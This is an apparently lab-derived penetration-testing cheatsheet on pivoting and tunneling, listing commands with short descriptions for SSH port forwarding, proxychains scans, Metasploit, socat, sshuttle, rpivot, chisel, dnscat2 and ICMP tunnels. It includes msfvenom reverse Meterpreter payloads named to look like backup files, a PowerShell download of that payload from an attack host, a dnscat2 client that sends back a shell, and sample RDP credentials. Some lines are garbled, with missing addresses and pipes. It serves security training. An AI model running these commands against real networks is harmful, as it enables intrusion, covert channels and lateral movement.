Pivot Network Cheatsheet

Pivoting and tunneling are crucial techniques used in network security testing and penetration testing to access and navigate through internal networks that are not directly reachable from the outside. Pivoting involves using a compromised host as a pivot point to move laterally within a network, bypassing segmentation and accessing previously isolated systems. This method is essential for expanding the attack surface and discovering new targets within a network. Tunneling, on the other hand, is a subset of pivoting that encapsulates network traffic within another protocol, allowing it to traverse restricted networks undetected. Common tunneling methods include SSH tunneling, which uses encrypted connections to relay traffic, and SOCKS proxies, which route traffic through a compromised host. Both techniques are vital for red team engagements and penetration tests, enabling testers to simulate real-world attacks and assess network vulnerabilities effectively.

Tunneling and Pivoting

Command Description
ifconfig Linux-based command that displays all current network configurations of a system.
ipconfig Windows-based command that displays all system network configurations.
netstat -r Command used to display the routing table for all IPv4-based protocols.
nmap -sT -p22,3306 Nmap command used to scan a target for open ports allowing SSH or MySQL connections.
ssh -L 1234:localhost:3306 Ubuntu@ SSH comand used to create an SSH tunnel from a local machine on local port 1234 to a remote target using port 3306.
netstat -antp grep 1234
nmap -v -sV -p1234 localhost Nmap command used to scan a host through a connection that has been made on local port 1234.
ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@ SSH command that instructs the ssh client to request the SSH server forward all data via port 1234 to localhost:3306.
ssh -D 9050 ubuntu@ SSH command used to perform a dynamic port forward on port 9050 and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.
tail -4 /etc/proxychains.conf Linux-based command used to display the last 4 lines of /etc/proxychains.conf. Can be used to ensure socks configurations are in place.
proxychains nmap -v -sn 172.16.5.1-200 Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range 172.16.5.1-200 with increased verbosity (-v) disabling ping scan (-sn).
proxychains nmap -v -Pn -sT 172.16.5.19 Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (-v), disabling ping discover (-Pn), and using TCP connect scan type (-sT).
proxychains msfconsole Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.
msf6 > search rdp_scanner Metasploit search that attempts to find a module called rdp_scanner.
proxychains xfreerdp /v: /u:victor /p:pass@123 Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy.
msfvenom -p windows/x64/meterpreter/reverse_https lhost= -f exe -o backupscript.exe LPORT=8080 Uses msfvenom to generate a Windows-based reverse HTTPS Meterpreter payload that will send a call back to the IP address specified following lhost= on local port 8080 (LPORT=8080). Payload will take the form of an executable file called backupscript.exe.
msf6 > use exploit/multi/handler Used to select the multi-handler exploit module in Metasploit.
scp backupscript.exe ubuntu@:~/ Uses secure copy protocol (scp) to transfer the file backupscript.exe to the specified host and places it in the Ubuntu user’s home directory (:~/).
python3 -m http.server 8123 Uses Python3 to start a simple HTTP server listening on port 8123. Can be used to retrieve files from a host.
Invoke-WebRequest -Uri “http://172.16.5.129:8123/backupscript.exe” -OutFile “C:\backupscript.exe” PowerShell command used to download a file called backupscript.exe from a webserver (172.16.5.129:8123) and then save the file to location specified after -OutFile.
ssh -R :8080:0.0.0.0:80 ubuntu@ -vN SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port 8080 on the attack host to port 80 on the target.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IPaddressofAttackHost -f elf -o backupjob LPORT=8080 Uses msfveom to generate a Linux-based Meterpreter reverse TCP payload that calls back to the IP specified after LHOST= on port 8080 (LPORT=8080). Payload takes the form of an executable elf file called backupjob.
msf6> run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23 Metasploit command that runs a ping sweep module against the specified network segment (RHOSTS=172.16.5.0/23).
for i in {1..254} ;do (ping -c 1 172.16.5.$i grep “bytes from” &) ;done
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 find “Reply”
1..254 % {“172.16.5.$($): $(Test-Connection -count 1 -comp 172.15.5.$($) -quiet)”}
msf6 > use auxiliary/server/socks_proxy Metasploit command that selects the socks_proxy auxiliary module.
msf6 auxiliary(server/socks_proxy) > jobs Metasploit command that lists all currently running jobs.
socks4 127.0.0.1 9050 Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port.
Socks5 127.0.0.1 1080 Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port.
msf6 > use post/multi/manage/autoroute Metasploit command used to select the autoroute module.
meterpreter > help portfwd Meterpreter command used to display the features of the portfwd command.
meterpreter > portfwd add -l 3300 -p 3389 -r Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.
xfreerdp /v:localhost:3300 /u:victor /p:pass@123 Uses xfreerdp to connect to a remote host through localhost:3300 using a set of credentials. Port forwarding rules must be in place for this to work properly.
netstat -antp Used to display all (-a) active network connections with associated process IDs. -t displays only TCP connections.-n displays only numerical addresses. -p displays process IDs associated with each displayed connection.
meterpreter > portfwd add -R -l 8081 -p 1234 -L Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port 1234 listening on the IP address of the Attack Host.
meterpreter > bg Meterpreter-based command used to run the selected metepreter session in the background. Similar to background a process in Linux
socat TCP4-LISTEN:8080,fork TCP4::80 Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80.
socat TCP4-LISTEN:8080,fork TCP4::8443 Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443.
plink -D 9050 ubuntu@ Windows-based command that uses PuTTY’s Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host.
sudo apt-get install sshuttle Uses apt-get to install the tool sshuttle.
sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network (172.16.5.0).
sudo git clone https://github.com/klsecservices/rpivot.git Clones the rpivot project GitHub repository.
sudo apt-get install python2.7 Uses apt-get to install python2.7.
python2.7 server.py –proxy-port 9050 –server-port 9999 –server-ip 0.0.0.0 Used to run the rpivot server (server.py) on proxy port 9050, server port 9999 and listening on any IP address (0.0.0.0).
scp -r rpivot ubuntu@ Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.
python2.7 client.py –server-ip 10.10.14.18 –server-port 9999 Used to run the rpivot client (client.py) to connect to the specified rpivot server on the appropriate port.
proxychains firefox-esr :80 Opens firefox with Proxychains and sends the web request through a SOCKS proxy server to the specified destination web server.
python client.py –server-ip –server-port 8080 –ntlm-proxy-ip IPaddressofProxy> –ntlm-proxy-port 8081 –domain –username –password Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25 Windows-based command that uses netsh.exe to configure a portproxy rule called  v4tov4 that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.
netsh.exe interface portproxy show v4tov4 Windows-based command used to view the configurations of a portproxy rule called v4tov4.
git clone https://github.com/iagox86/dnscat2.git Clones the dnscat2 project GitHub repository.
sudo ruby dnscat2.rb –dns host=10.10.14.18,port=53,domain=inlanefreight.local –no-cache Used to start the dnscat2.rb server running on the specified IP address, port (53) & using the domain inlanefreight.local with the no-cache option enabled.
git clone https://github.com/lukebaggett/dnscat2-powershell.git Clones the dnscat2-powershell project Github repository.
Import-Module dnscat2.ps1 PowerShell command used to import the dnscat2.ps1 tool.
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (-Exec cmd).
dnscat2> ? Used to list dnscat2 options.
dnscat2> window -i 1 Used to interact with an established dnscat2 session.
./chisel server -v -p 1234 –socks5 Used to start a chisel server in verbose mode listening on port 1234 using SOCKS version 5.
./chisel client -v 10.129.202.64:1234 socks Used to connect to a chisel server at the specified IP address & port using socks.
git clone https://github.com/utoni/ptunnel-ng.git Clones the ptunnel-ng project GitHub repository.
sudo ./autogen.sh Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files.
sudo ./ptunnel-ng -r10.129.202.64 -R22 Used to start the ptunnel-ng server on the specified IP address (-r) and corresponding port (-R22).
sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22 Used to connect to a specified ptunnel-ng server through local port 2222 (-l2222).
ssh -p2222 -lubuntu 127.0.0.1 SSH command used to connect to an SSH server through a local port. This can be used to tunnel SSH traffic through an ICMP tunnel.
regsvr32.exe SocksOverRDP-Plugin.dll Windows-based command used to register the SocksOverRDP-PLugin.dll.
netstat -antb findstr 1080